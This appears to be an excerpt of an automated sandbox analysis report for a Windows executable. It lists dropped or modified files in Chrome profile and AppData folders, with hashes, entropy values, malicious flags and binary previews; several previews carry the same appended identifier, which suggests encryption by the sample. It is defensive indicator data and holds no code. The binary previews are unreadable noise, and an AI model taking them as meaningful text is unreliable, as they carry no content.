Preview:	....C..dSK......\|R..!....8. .DR_...Y...o....i......AYN....~...>...s.Y.....:.p8....X.<{9I$v.kE.&....}..#."..7>N4.R.p\|.f[.&.......v4rU(.(..d.....4.Uj.S.st.^..-)L.PB........A....L.@..wy...Z!..XSI..S..nsB,....2.id.H.W .A...f....S..L@..-.....S..eN..b....v.v-.%.....9h..<..jye0y-..D'..N.~..DK..n]JB..J.S.L.D. .bq.hF...i.(5...Y.....=P.4.+........4.o.x.X..K.:/.]..\|9..V.9w.M._~HC.....>....lbC.zg.x.+:.7!..:...C.0j).u..+...i.P.....H`...........f..(.H{..t(^@.Q?7...fXQz.:..QS9.....o.....v.V..u.....b.I.....oW....q..-......+....h.9.......q...J...M..72......4&.....~.".828........hf.#v&.....z.R.v....S.#$.o.u.f..djW....r.U-.....Uk...U..Nr..Qa..fTp(q(V{{...y.....7~....}..G.{..K.#..2j..{../.......$....E8=pbk...,....../.m.\.!XG}..5uAr.!...Z...aC.i...X.yQ.:.....iD.:Q.>.)&./..;..CO..M.@.."$Jt.....d.O.8..}...,....<.r...g.G..".W-)...w ......,.L.....3.L.h.'..7.......@.]..Pi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdp

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1303
Entropy (8bit):	7.834687088485837
Encrypted:	false
SSDEEP:	24:C7KHD8v07vFEyEdSqCy/IXR24B9HqoHLdLFUXbVbdxK2E0JEeGPBxAcm3zbD:C7KHD2AvFZ2CIIxqohLF4JxK2E0GvPBw
MD5:	E1474C8C7F08A19922E10FDCFE2A4F78
SHA1:	51CECFA0CD4386DE828274D955C12861E05097FD
SHA-256:	A3BD123431716AC832F1FB809D78EB8AC9783F559E951612229F078FAF710259
SHA-512:	9FF4E86DA663621E69E0DF16F1FBE65C14F76729F7C855DC96237C4CA4483AE1703F2A8A02B5BCF1F19E0B4527E3D8960F415167AFA3AF6AF076FBDF7B2EA922
Malicious:	false
Preview:	.{..7I.......F..`8p..2.RT.....n_..L...u.}.'.\../......>>....h.;....o..v.Z.")..i^x.......FQ.Bb.z.\|..._B....+X...XW...E"..A.....@...;.%S...A.....v.1.."..$$SoG@....FS....o....._\)k.1....:...#...j....E..6R.}..m...k..:..c.z..f.T.. 1.\|..3...fb..Q."...~..../.!}.8..q..Lj2.......8.3>...[..s...Ay......?W...b..B.%..).....L]1.o.:;.f3n.J6}.<om! .^m..5.....ov......rU,..l.c.P)..[.......7ITJ.......&.......K`......8...\|..oD......w(...I..3Kv..c....E....r....E.N.K .Z.}.9F......[H.O...q..........B.+..Z..I..p!yu.j.=-.U....t.X~...\|...).R.<.(...+I..Z....y..#.4"^.:R..S\9.t[.u).vl..3;....(.f_[...:...he.O...sA.W.....8.){>r.'.x...\.2............aO..Ha....,.......~.@..".....Q....i.:.....C..n..F.1).y6.7...@.dx..y..!.XS.Z..o^l.yf..&.i.P.>(..`.E...{.........%.~...!.!D.q..3..E.. .P5..a".T.J..!mw.b...}......h...Oq.q7...Yo%.0]R2.N....;..@%..>...d.R1./...$ ..$.Y.~.:J......o.Y..Ub.k..;...\|.........a$./L>~{.~\..sJ.....F.8..Ls....Vm.0CZ....&....\sj.'.y...}.5.R~.@..>9.....3.d

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdpresource

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.4465245779976135
Encrypted:	false
SSDEEP:	12:SHIPKfa4miuWbgo1Fvuj6bJ+L5e8ChfyM36Wcii9a:xKfa0ucgUvujR1e8uaM3zbD
MD5:	843014F287F4955AA28BD02D535A241B
SHA1:	CE022557794C36DE8EAD8638F8C215C2989A2EF2
SHA-256:	1FCDB50F7F940AA740B5A5D4D38AFA2E6B173892967E812BF43EA0653606B4B1
SHA-512:	4C6E60574CD5122A6D726E6C1AC7A5DB7CAE0061ACE55E544D5B167F742586F738BA3BD52EC53ECC0A98A652893E9CACEAFFBFBAD4D150EB6ECEAE8CB355A7FE
Malicious:	false
Preview:	.{...f.%..b...@.....5....[..]........v..3..Mm+6...../....N.i..5..x.~..v4&....h.....x>.]y#.O....x..:..$eY..).6.%...........l...V..=..UZ(B..l,'.....k...........k.].....$&R?9.N.......8j.w._...I,..=c...L.6.q..1...... .#.j....u.-..2{...L....-hF...2.;...e.G.0p..X.g.....;......8...Br......f..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65886
Entropy (8bit):	7.997029023910647
Encrypted:	true
SSDEEP:	1536:g7OnWObgCu1I4ht4sFVl0wD8c3KyUCvN6Q07bFng8D:sOWQg31Vbz0J7yZV07bFng8D
MD5:	E0462272E7DDE65DE0BD4B2D2E15311E
SHA1:	872A69C9A72007D349C41D9492BB3B09CC65C7D6
SHA-256:	977BDEF9C3BBA2809428F773BC53DBA7D73D72D4CD1247199CD187992F21A036
SHA-512:	1DF9FFC8FBA002ACD140592E0D1D9EBACA811492788C75A8ADD94E18B76FFB55DB16EABF3A24382777A19A973D527615B40360DC74AA04E2DF4A0EC555311F0A
Malicious:	true
Preview:	...S...I.......zo..`..&_}(9.0I...o..B.Ku.c!.j.PP..<"...F%..<9Lk..... ...y..6..JO.8.[HZ..rO...st.+.k...o.."..l.-.^..K.Q........Z.Y..X.-=..LK.......{..k..FB....d.d..a..M...L.CYM;.2.:....I..J.].U...2...$..`wcypq!3:M...'XsUQ..lx.........V.V....4.........u../.E.....<..y...%..h....,E..bH.....m.E.R6..V(..h.....{..t.2...3..l.....6<m!a.j(...l;......,...C=..5....\..n.=...(.6.+!.:>q.=......4(:..Z...A........oX...hn........:.~..C..o..@...(X.?G..c...h......=.^........#&.oW7O....Sb..+L...h..........;.,.Rh.x....w.........<~.....}.%..Ma.R...D..vG..uJ...6EK-S..G..]..../p.p\....W-..........`.U..T.....O.F.w.......d.(,.W.&...c'.8fr...K.$.?+.M,./...[..-....Uf..S...c.1_.~"...Bp..Q.U.G....=!.>8.=........y1.A.zu~..._Oc.....S.+.........WS..@pF....y..*....2N.9......;..w.....G.g...LGc~........4dU.5.%...@.<.......{..duf.+/.AD=.#"S.h...K.(..K/_\|..1....x.z.. .=....F..-.o.0\|...t..+N#.#.-.2O..LS..-EM..........H...a.}..k.U.;-.....N.,..9uZ.c.....,.)R.}.4...lS,_..ZJh.`...rDbn.

C:\Users\user\AppData\Local\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.30186549060973256
Encrypted:	false
SSDEEP:	24:3ZWUKFqN4rV26c5BXcluxKpT7TrxKz0iSC9WD1LZzdUfCyKurz3zbz:gUJu+7XcEsl1vDvzdU6wX3nz
MD5:	D7BD7F2A6CFC320D2661400ADB99C982
SHA1:	16490804A6AF0992613EFBE269B6B51CB586C632
SHA-256:	BCAB43BDB0BA423A7FC147E46FF38C593C470226A72EB171605C92E7A73E3433
SHA-512:	91863BE3F48FC70317F08A5F299B21F1CD084A2915ABFDFE813FA6E2A56C90F9252AA0A030357924E8A0096AB765033795604765E76CFC55E1BBEAE7A382937D
Malicious:	false
Preview:	........3H.4O.H..gvK"..43.Z...y....?.Y5........V4.......g.Y4:..E.j.[.?.`.Ul.>..L.ot...y....g.2N1P.._.0[B...jt.-....$.d:.b.#tQ......Y1.XM..-./..}...=.R...M..r...@.n....2<..g.W~.8.U..U....n.].&A!P...21....D.....6....2.....)......l_.?Tm7....S..vRqf=..x..5...OR.I....c.z..4..Z\|..B...W.6...t_............;..x......&...V...h...mtxkW]..8-...)...$.7...Xs......:.f'1g.y..^.}........N.,.....].rg.h.........\..t.R.....LsD...@.;..<...V..b.M.....".Nb.l.....l\..c=.,h.B.2.'..z.ZJ^H....Hr.W=y7.!.V....8..>..k.(._....i.s....K...iK....U[g....x.mx..28...(nt..Z......:..!{..'.....{C.3..da....`...6.,f.c+.....5.ai..c\.-.b...g.=1.rE..,.....v.......LRao.}(.W....^l,.q.4%...{d..U..)N.....!.FV>...N....'.T\|.I..2.....e.`.gKS.4.A..A.X..d8.5.v.n...5+._.....T^...3.R..e.c...b.F..m....../.@..R.....7J$......M[0.9..\.^...%%......+..E.-.J.k..x.....i...umH.."....d....L.8..^A..!b...1. ..1.R(Z..@.)4.I...@.>.t...y..U...g..[.*..K3.Mu(..B.u.>...8FC.....r(.....Y<..M\|.._BG..2qI?i.V...

C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651D6B39-2380.pma

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.8391625856726974
Encrypted:	false
SSDEEP:	6144:q0NHvDsHdepI+qIlI98EQ2qd5J8pLaHurC6b89GNA:q0NHLUdv+o9hql0zC
MD5:	68B319ABA4AB0216B5D937F8198CCEC1
SHA1:	0E7B7842A3E9B42A32A4E985067617D80F1338AA
SHA-256:	B6CAFEFA1D2ABA1871A041CF336491E70B1771DD92073F4B020BC9851549A64F
SHA-512:	7F28335777D560F2E762100080855F9D3C76E34AE2FACBD4E61FDFA7CC4B101111042C44CDA949B1EA3AA38C1FDC253EB8A824856E6B30C038957C4ECC7094A4
Malicious:	false
Preview:	...@...S.].C.........7.?f.VQ.....<%1..PHc.@:4Q..t...,.=..L`p...z.-.N`...2D..%..'9'.Z.Q?,..(.xcd..7B.<.~...............g...<\......&{^...>z/.....2$...6{N..?;.....c.Ad...i\.TS....`%........ .n.4.I.`9^1.&....fej...'..y0..{_~.l..M.......1...OD.@\.;..).....R.....@.7.#..o....s&.1Q....x.9F...n..Y...U.n....P..\|...?....#.6......uP.WT...?RW%.(...pE.....u..U=S...L ".c.a.JB.......X6...R.....t.....p..L....&&..0.~y.}3}W..........km.......F..u.+E..[.k.vDV'?.....OY....a2...0?g.).4.\|.,0..U..R..W.....Cr3.-.1._h.. Y~.HQEWG2.. .o..N..u.Jk49e...X^..$...".P..??..R.f..r....p0...v./.%><.n#9...Dwo.X._q.&..p.....2'G.^..>..M....N...F9%.&.H..y..9u.%.UM.^^:.u...I..T..d!#..jv....w...9i.jG...I..........c...({.s.7..h...1.x@G&.2`B$../y..>....X..70o.81.....p;.@...fZ............T>........vDp..3!..>..U. ..i.5.T....n.{?3."e.%b..O......w.#a....X..3.3...Z.q.V.......`.@!.5...E.....;.C*_ig.!..\)/.C..V..4..J.......NM._.V....eK.SQ.....%4...Rr..E#W.MnQ...X.....BN...K..._....>.`...W

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.369938537815127
Encrypted:	false
SSDEEP:	6:gScJ8G4Fkf9tCfWRTrjx9mdafAB09Rjd/bql9+EVtBdpKJ69DpaG03OsVolWbz6Q:gSmwkf9d5juafk09BMEiXnKy0h36WciD
MD5:	0F3F9127817EC8EE795B68B2847FA2B2
SHA1:	0E1A5E160DDA748E830D0E62C616038BFC83665E
SHA-256:	6A0A5CE9020C4FA2D05D39C98AC7A5E95E06019EB5C7F4B6C1B4F508B831E9DD
SHA-512:	F0D0565BA0970A1BE985F40569B0E9912B7FCF5AC10AE1749BE94C99D07649E80E816F1ACBBA44C0417502C5054B8F911553F280BDADF4C655763556F04C487E
Malicious:	false
Preview:	sdPC..[P=<Z.r.f.\.\.-.^..........I../.".t...*.w...B..d..T&..NX..Mn.6.E.5A>....~,.B9..c.VV.....H.&.......l.7..T.?#.....o@........Y0U.g.d.R...:..}".....I.......?..:.....+%.z%...D)........Y.,..../....Y.>.e..+....Z..Z.s_0....YA....).;...cB<.p.....e... .k^..R._..h../..\|......=...%.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	198128
Entropy (8bit):	7.998538079087817
Encrypted:	true
SSDEEP:	6144:DL6oM9me9p3nkzqZQUuEObnMXVCvoZhhl+Nq:DLFMnkzjUuEOrMhl+A
MD5:	8B48E7D9378F197D07EA6BC1DD211580
SHA1:	6F5D8A6DCACF4B40B3CA181B78446F8E75B169AD
SHA-256:	E7C2A232342FE57526873729580DCA3C8F88C5E2F6B06D5CFBEE75F3E2A8DE9C
SHA-512:	C8D643E7E91712123C875252934DDF78CE5C393077997A7CCDE1CF1B3C29C9534C38A87318459A34746263A4AB50E3F80F48BAF56969D95C3FDC584989E10C47
Malicious:	true
Preview:	.......p...<N....._'..Nj...{.}EZp..[.n....K.^....-%......cw#....\...".Fo.^.T..4^i..[0....Y\...GN..Ma4BG...?...S...N..`.......}....=.vFJz...^.`.c..a.3..5..CW...%......P..d..8#.{)...u....u..r..c<.1..?..A,.w.c.c....K.l.YO.$..C.....GU.$.&..?..........neC..[.)n...).R..../".E.^'..b....+"..t..A.UZ.n.M.(.=..1.(d....gB../...^.#h..\..;........F@.3...e.Z....+.E.......q$.G..n..U..\'.8..$.yH.{c.d....D..%5O..D.$T/.....yH..{.[......K......u..n5+.9.bw..,F.<.e9X.3..4..{...j....,bI.2F...k.y%.~..<..Z.....F-.9...=3Q<.t._.N'... ...<...$.Z.%.....c=Pq>.M.\.c)oS#..Oz.3WRhY.....*]._].......RA..ZC..6.4&.. .K....C.".n..V#B({u.,.&.......y.."0M.6.e..av...\|...z..........d.3Q8;.:..?`#....C..D..f.&)....a..3.rrO@......OJ../..S@&.p....8.C...O.tt..s..........n..(a.......D1..J.x..1.Y^{M..Bz.t>..T?.....`<..q3..+.ZsTDD.T.!B..\|.Km<....H. ..... ......6.!..X...?.6...[....f.b`...o;....9.K...o.;..(T...tl\|E.<.qSy'..mn....f.t.IS..g..=...8$...VT5..##.g..4N.=...vZ~..<..-.....{......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	modified
Size (bytes):	16718
Entropy (8bit):	7.990418090777518
Encrypted:	true
SSDEEP:	384:RXvT3Te0BxB1AgD8W1oqrUJrb+EkE8DQfp:RXvnkg1ozeE+Ip
MD5:	32FC55F10B052F29D05BCDA195978E2C
SHA1:	B56D0B15A35856896D7D9E53689543090FB5CE14
SHA-256:	CD05CDD6186FF7CAE3F7E89F8B1DC14E470AF6C38B4BB62DC3DD79C4B48A55BA
SHA-512:	857153BC0247FD57738033F4B0537492E4189892925998342AD0B1A483BF96A6112FCEEDCA65279DB0DD12FF93A38DDA1788D54F1A92DDC3CE552717154854BB
Malicious:	true
Preview:	SQLit.._.\|...u...I .8.._.wt...._...F.....Z..s..(.f..#......R.........?.8..Ap.=..>'.9+.5O.....d~..G..wQ...eT]W4G....j.....6.....2.t..-.2z>Z.....c..n..C....rTc6...=".7A^%.G...'..I.^.=...4^.6.._B...,io.L..+.w.dr....S.;...U......k.%.$..p>Nu.z/.\.#.k.x....r..z.by....P+..._....S.`L..?.G...(...7.d.Y}.....o..y.....t%8........j.E+J..".Y.......19..h<.G.... .#OM..qQyI\|<..7Ndw..:_.....x.... e.T......Z......T9.j....S:.`.."q.;...HD..O....M...'........K=......X................nC.G0e.9~.._...O$n4G...;/C&......D.G...f:..RWm(._...XK..D...7...=. ...}M.U..$.O<bD.fP.).%=3..aF=..xL...hPZ..".c.\....)I..m_.....h.=...b...Pt..:..=.H^.U...O...?..2.6C......G~.\|..f.z.P...a.........0.U+..T..lQ.....2k[go/.gR"..Y.m.o.e[q.33...g.\|..^V:..qC...!.?T..f...o.h.2.E.\|.X.....D...A..k........<...Qr*P.U1C.....\|yvcyi0."..lH..'......eC..........(WE.`.:-.....E_...[@...#U....`,..z.b...PE.......CJ.../P...1$B.&....M..ahp...@7....w.xe.{.!.R....H.,5.......4...3R...<.dG......E..[.6.a

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\trusted_vault.pb

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	372
Entropy (8bit):	7.367988710493977
Encrypted:	false
SSDEEP:	6:6hPiRQq/45xZVjJbIriK8k/HJ3l/60yNViF39Qf1EwQ3ayOsVolWbz6Wcii96Z:6tyn/4Tarp8Gp3xHF39WEl3P36Wcii9a
MD5:	AAFBBDC4AAA8612012ADA4BDFC63ABFF
SHA1:	BC45617BE87430599137D4440775AF876053054E
SHA-256:	22AE27F1C51706A983132C65D54894FFEB15C11377A9044006352A2AD2DE424C
SHA-512:	FF62A63250237C4ACA688AD9CB35DDBA1985280BEDB625CDD07FB7AC79002EA2D9C533729884CF3D21E6CC8C63496C6C4BB40739DDD80CB6651C809067DDBE10
Malicious:	false
Preview:	.......N..f{.q#. ..o>..D.......{.+H&.%myM5..0"......?....SMSt..x..&.2.F.......>....;l.[....]..N.}.....R..2*..9..$......e'....aY.G.G.....u....djd...b...h.}...$.\0.....6a.:U.`p...?s7.....o.Q..V35.;..\. ..K.T......;......!..d.Uw%}5W.!.(..h..{.J..r8..j...i.r.1i..\.'....E.Q..sh.L...j.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.995732033076731
Encrypted:	true
SSDEEP:	768:J02+TCReJzc58S8eLq5yjfqMvmglaM/rK3edO72LphHUSz8gj/A7fgtT47u2sGO+:J02vOwz8eLcc7/eopUgj/A7fgui2sGyE
MD5:	554FB5CD3E07451F34155873273746EB
SHA1:	7164874E81252CD2B140AFF8BDEDBC683427D94F
SHA-256:	31373C4A3F5CD16A5799E065610EE356DEA1BEC8265B528509E6A61A4C7147C8
SHA-512:	8C553EE57F66F78CB242C13CF971AC881F23BE65003DCB58726BB3343C694DD263CF7DB68D04BE40FE1DD7F223E48C8FE86AF57FC777FC0E8B9E089385800BE7
Malicious:	true
Preview:	SQLit.\.....>.f.]C.A6.$F..S....1?...mjx.C...q.x}...F.W74...j.7...C..%..#md...<....7......H..o..n......o..J..,L.d.."F.4.W..1...V.<.6...Nb...5-?l..6N.zZ."<T.p.?=j..n[..Og.t.,...........Iyp....jD.s...O.(.7...3..Q....0_..m.....y^).c/.g6.6...[..`..W.'..p..H......]..v.V.S..%qb......i...\|&_....B.....^uL..GL.w..3.Lu..T.#N.g.:.dwA........YD/..w.2T.f.=......Pl.A1.L!8.........b..1....H.F....(.Ke&2.>.)L'.::^...+IZ........U#...>.y.T...L...X...9.-"....rC..L...=..d...{O..3..VT(....`.".To....H..>z.z...%'v?......s.D.....E}...&A..;@...(....=7....%.Y...6...R..#.Ls.~.7.<..{}s.j.-..5..z)..H?..r:..&!B....o..~Mi..)...myi.....d...4.j...H....4e..;...!}A...........Y........2..S......).f.>..~........+.e..I...,......l.....[.....,W...0).....B.......E..L..B..}...\|@>.l..]......s/..iq.^..n(.y.)x.!...k.A....D.6...Y..x.6rv.CMv.fr....W.AB.~3..s.........A.H...c.&4....H..Yj.^..='....o`9..sT#.{~'.;...-c^z..8B........@.......w.....r\N.^j .a..0J.H.\|.FBs.;..z..t....M.!fS.Y..7.E.V..

C:\Users\user\AppData\Local\IconCache.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	11010
Entropy (8bit):	7.983311976818468
Encrypted:	false
SSDEEP:	192:vf8I3wFO7EhlxWSj7loffYGIfB732VTkBwaSVLKuxlrXoFQ9KW:8IRIzNOYD0iw/uuB1
MD5:	9E742AF8F2058F1A5EF21FCE9624E817
SHA1:	68C82CD4A3535AFA64B7652E21B2C51AD4DCAC17
SHA-256:	08EC3BDB31EF576730981FCD39600DAF5C24606577362F0EE0F2D2DD8078D5BB
SHA-512:	6B3E3D94D8AF63E8FCA998474C8AB7943D9594F6852EE74BA9CB3608A0D45AD3120CC58181771C953565E80170F1035E6A8D732393A187B5D596F6A7E160FA74
Malicious:	false
Preview:	H...W.8'.....6..i.m.....H....,&F..V.%{..x>.....2,..XF.Z..I5_..o%L..........Wv-@.....>.....?.<.E.....yR.-@"..6.&..c..X.\|..j]...Zp#\[]....u......V.C..&..aD.T.:P8.e<........L.!.......?.....Jb/8}.....'nh..\6.[...bt..-?}..H,1h.T>.d..k.O.f/..M].6....].....Xw..-.T$.........^.F.W..-...o...$.9s.#N........)2.#:@@....y.....q...8.8..y5y...u...U..........fS.....-Oi..0Ns.v..C...7..... f.Wt/}.v:_.eP......(...~T.g.......\|.I@.F6.>...=L.......K.@z.B..........D.......`.......-...\+m...:g.q.........(.>W>..l.]...........}%f..u....'9...06_..o~)2.-......(......E.....HI.<.T.-.}n....k...3J...RI._.;.K?...L!.!v..].eH..9..l.h.3H.,.run.&\|...,..T#.......yho.]i....\...Xw......J.o.`.\|....K8,..=.\|......D.....>.NK=........abD.3 UrK..q.sE-.j.i..q'!.&.2.....LT.K..&...J.J....{^.........Y&..VM....+....{*.M......Of....'C._.N.!..A.Zz.s....E.x"...v.v.....?..P..6m....k.S)+m..ob. .p...h.."l<+.i8OR....g..5...F.k..u&. .W...O-....f..K.o..Hb..\|{....wL..d.M....M.dF2.Tu

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.243526403415818
Encrypted:	false
SSDEEP:	6:QXPsv5e9BLTOJ+bE6c8IeYH36GWOd/HluBFOBma697QbOsVolWbz6Wcii96Z:Q/OkhSneYHKGzH85l9Y36Wcii9a
MD5:	15FBD6FAC616307AAD33D94E3A9FE077
SHA1:	6D445D0880F59B9FD43E4405E51EDF2738835266
SHA-256:	5A6FE72D8711D0C56909285C8262DFDF1BE78AB48509829B171AA7DF1C492560
SHA-512:	660E2FD97374335834878F35CCF21246E9B7C1BB10483DAD5E075538D14076BC0515AFDEA247E7E3330B65D054DEA0119CA6576FA01BA7CBA1D04C4833922F6F
Malicious:	false
Preview:	1,"fu..u/.,$i>.....)iX.L-....X.<...b].4.ng.......u...z..n.....I.C.m.........(.....h....U..[..a.6K.......)..B{..V]...Bh&.}G.)..g.E.Vv^Fr\|.A..k....l.Z..,..F.)y1C.t/.L.9..\|.><c.N..1..g.,...C......y~...e#.p.q5..X.)wV;n.[..U..E=..$.wA.k.v......sC...._..]/F`.&.......i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1554
Entropy (8bit):	7.848689827723783
Encrypted:	false
SSDEEP:	48:WZO7ElsviD5L7azVMlOmu/GqF/InX5/3nD:WZvmvifl/M/+l
MD5:	7DFCBC160F9DAB8318808FC1BB202B59
SHA1:	185E3527805656863DEE22AFAC825512265D432D
SHA-256:	6CF68BDCA1DBC6D83655032E9B0FE26867389545A6F906BE381AA43739EB720A
SHA-512:	66EC3460FD986C2FE08D4DF35EACB97FA98A436FBD5716050A6F43376B967B46607CA443BCB33F8808991BD345C157EC35FCE31B7F7C972B9D94C07FDB14FFB5
Malicious:	false
Preview:	1,"fu9.Ps,..';BU...Q.1..5.0.).}.....tI..Bn..+.>.;..t2./.C...o6U.sTg.....#m......3.......7.U+Z..e......~....g..T4.?...-K.....e...W..s.c;.TpcuL..\....)....5.P..Y..Q...f,G,.D0....w9.jE.qL....Yf.<y..I.._...Y.X$.7_H-:G.....h3.\|J....d...vt..01.&...&........j]..6.s...C.5_..@.t..x....g...A...p...."....~l4z.....Dv..8.F.t...O.q..vt.93f....!;.d..\wP.>...j...c.....S...........'..........d.........O....a...;. g......sk.].....:.?M..#+.P..sp!w.......&.....n....Q.o.....@..rG{&k+....\.g@..^~h.z...>W......Q6...#Q.u...g.j..5....#......3.Is.K.+.E-b.......@..2.."~M.=f" 4.x.Ymt.....9..2...)l..v#...v./.x..n...t.+.Mx.H...7B...H...W...r+\|!.X%.>..%.........3K.w.9..}Pee.MiB.....#4~..n\...dn..........=r....s.,.W.`._....!pB.d.)@......E..o1{^6.d...F$.<ZG......s..e.;...t...-s.F......@\.......)I.........&.Apy..QF-..I0..eh}..%.'B..... ..dc%N.J.Y.Qv3....#....P...zdz.2...[@"e..=...=..o...e...BX..$......{8P.4.{%..sh..Y.C..i..>.......e.E;..9...a.+w .f.5..r

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NGenTask.exe.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.7956229651543545
Encrypted:	false
SSDEEP:	24:YA5EFa0IKAeq5vpLWqI4LyDhpB6t1AqhHs9Y1R3gBPB0LDGKR3zbD:YaE7py1w54WFpBRqHiY1R3gBPDKR3nD
MD5:	82A26DD1FCC69FC1AD712FAAC4698182
SHA1:	EC0FB3F6D2BB72C17780DA56CD7973B88B2431C7
SHA-256:	F78A92E74D0B7B2EC3481AB2CFFED8DFC3460FF3DBA823A5C685E076A8C76A05
SHA-512:	F3FEF5605D1087FF109335DF8ADB61113341274D52449203C6ECF033AE9134D6934117D8545EC76C6B430C4F8F951998A234795C590B1767E7C20E8B3959A68D
Malicious:	false
Preview:	1,"fu.D....p..x..,.j...!.(..(/...]..z.z...RM,.^.W.?>....J.c..-g.......\....U}.FOt.....y.W....2]']..h.....,KW...3.'X7.tU. ....#.,L.4+.1c..M...S.....O@+.Y./...@..%-.yL.Z.p.....m.6.k-......7h....z`R.&S.Jn....1..M.....c.y....!z....v..7.S.L..J...8h.:..c.rCK.H..4.........F.=;4.S...+..cC...O.....O...{.P.}..k...'3_q@..-..4FI...#/k.....A....C..U...H..)..B...K8[v...Y0..".........Q.@.+....f...._..Z...=...<..s..~..]..9.......s...g.0.......b..Nl..El..._.\.ZO.....,......!..t.3..Dy....!.......cN5>y7....!.{...2.%....m......... ../.u.S..`.<...JK.N;.Vk;..1...".mf..~...g.)......I.J..6..S.m....."..X...Q.\|0..G.E0.IoD"..yb.r\.....~R...."1........ \|x;.v.1......_......Q.h4i.lX..c........q....}...K..~..3.8.{....~..[QgQjh..NX(s.u.{..q(................=.5.O..D.XE Ec.e6.e!..L(./.].5....g......a3#m.ct...n`ot..O%...@.FN,....A.ZT..wu..t..8.ZQ7A.\9.,)...&y...8..]...i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\ngen.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	669
Entropy (8bit):	7.696403966982786
Encrypted:	false
SSDEEP:	12:fwWUPcYYAUbY174phzoJVVGg1wpOSU9UvuVOln6OSFWRYwwDqR5QWFVJPJ0vsMeT:71YY1LPzobVp/H9zQlnlScJw8QWFL3Mw
MD5:	395C16A24B9C2533E30A5B219784BD80
SHA1:	3E6C1D9690EE74D8A5D04F1FCA271A4264348B5A
SHA-256:	C3AD0CF4BED6055A15906931363F8FE6E815743ED4D675674ABD24A7398E9414
